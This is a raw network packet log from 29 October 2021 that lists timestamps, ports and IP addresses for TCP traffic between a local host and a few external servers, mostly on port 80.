Oct 29, 2021 14:11:09.786376953 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.786506891 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.786828041 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.786895037 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.786947012 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.787286997 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.787348986 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.787410021 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.787725925 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.787779093 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.787789106 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.787802935 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.787851095 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.788048029 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.788283110 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.788341999 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.788531065 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.788825035 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.788898945 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.789086103 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.789115906 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.789139986 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.789161921 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.789182901 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.789190054 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.789205074 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.789210081 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.789268970 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.824862957 CEST	443	50104	77.123.139.190	192.168.2.3
Oct 29, 2021 14:11:09.840312004 CEST	443	50104	77.123.139.190	192.168.2.3
Oct 29, 2021 14:11:09.840445995 CEST	443	50104	77.123.139.190	192.168.2.3
Oct 29, 2021 14:11:09.840450048 CEST	50104	443	192.168.2.3	77.123.139.190
Oct 29, 2021 14:11:09.840550900 CEST	50104	443	192.168.2.3	77.123.139.190
Oct 29, 2021 14:11:09.853018045 CEST	50104	443	192.168.2.3	77.123.139.190
Oct 29, 2021 14:11:09.853058100 CEST	443	50104	77.123.139.190	192.168.2.3
Oct 29, 2021 14:11:09.856798887 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.856873035 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.856919050 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.856959105 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.856965065 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.856995106 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.857000113 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.857034922 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.857074976 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.857090950 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.857111931 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.857150078 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.857167006 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.857187033 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.857225895 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.857234955 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.857264042 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.857300043 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.857312918 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.857337952 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.857376099 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.857383966 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.857412100 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.857449055 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.857471943 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.857487917 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.857527018 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.857532978 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.857564926 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.857600927 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.857614994 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.857639074 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.857677937 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.857683897 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.857713938 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.857750893 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.857757092 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.857788086 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.857825041 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.857832909 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.857862949 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.857898951 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.857917070 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.857938051 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.857975006 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.857981920 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.858011007 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.858048916 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.858066082 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.858086109 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.858124018 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.858139038 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.858163118 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.858200073 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.858212948 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.858237982 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.858274937 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.858283997 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.858311892 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.858357906 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.871494055 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:09.920285940 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:09.923819065 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:09.925690889 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.925973892 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.926053047 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.926269054 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.926407099 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.926446915 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.926465988 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.926486969 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.926525116 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.926539898 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.926563978 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.926604033 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.926611900 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.926640987 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.926678896 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.926697969 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.926717997 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.926753044 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.926768064 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.926790953 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.926830053 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.926846981 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.926868916 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.926908016 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.926923037 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.926944971 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.926983118 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.927004099 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.927020073 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.927056074 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.927069902 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.927093983 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.927130938 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.927170038 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.927171946 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.927237034 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.927246094 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.927284002 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.927321911 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.927330971 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.927359104 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.927395105 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.927407980 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.927433014 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.927472115 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.927480936 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.927511930 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.927551985 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.927560091 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.927588940 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.927627087 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.927634001 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.927664995 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.927700996 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.927706957 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.927738905 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.927777052 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.927797079 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.927814960 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.927854061 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.927875042 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.927891970 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.927931070 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.927944899 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.927968979 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.928004980 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.928035021 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.928044081 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.928098917 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.928117037 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.928155899 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.928194046 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.928203106 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.928231955 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.928270102 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.928277016 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.928308010 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.928344011 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.928356886 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.928381920 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.928420067 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.928436995 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.928457975 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.928498030 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.928519011 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.928538084 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.928582907 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.928586960 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.928714037 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.928761959 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.928985119 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.929362059 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.929425955 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.929583073 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.929764032 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.929819107 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.929976940 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.930201054 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.930263996 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.930476904 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.930690050 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.930752993 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.930862904 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.930902958 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.930939913 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.930953979 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.930978060 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.931015968 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.931030035 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.931052923 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.931091070 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.931103945 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.931128979 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.931166887 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.931181908 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.931205034 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.931241035 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.931255102 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.931277990 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.931324959 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.973081112 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:09.976259947 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:09.998539925 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.998596907 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.998672009 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.998677969 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.998718977 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.998754978 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.998774052 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.998794079 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.998857975 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.998950958 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.998994112 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.999032974 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.999066114 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.999119043 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.999155998 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.999171019 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.999195099 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.999243021 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.999284983 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.999326944 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.999362946 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.999371052 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.999408960 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.999483109 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.999517918 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.999557018 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.999603033 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.999663115 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.999795914 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.999844074 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:09.999912977 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:09.999979973 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.000025034 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.000116110 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.000224113 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.000273943 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.000279903 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.000389099 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.000447989 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.000511885 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.000566959 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.000624895 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.000675917 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.000735998 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.000785112 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.000799894 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.000953913 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.001003981 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.001091003 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.001219988 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.001272917 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.001342058 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.001400948 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.001457930 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.001516104 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.001574993 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.001630068 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.001703978 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.001832962 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.001882076 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.001964092 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.002022982 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.002077103 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.002089977 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.002194881 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.002243042 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.002264023 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.002388954 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.002439022 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.002507925 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.002615929 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.002671003 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.002832890 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.002962112 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.003019094 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.003024101 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.003168106 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.003230095 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.003282070 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.003338099 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.003385067 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.003396034 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.003454924 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.003504038 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.003511906 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.003570080 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.003617048 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.003626108 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.003683090 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.003731012 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.003737926 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.003796101 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.003842115 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.003854036 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.003914118 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.003962994 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.003968954 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.004024982 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.004072905 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.004082918 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.004142046 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.004188061 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.004199028 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.004257917 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.004307032 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.004318953 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.004451036 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.004498959 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.004523039 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.004654884 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.004781008 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:10.004812002 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:10.004996061 CEST	80	50094	193.56.146.214	192.168.2.3
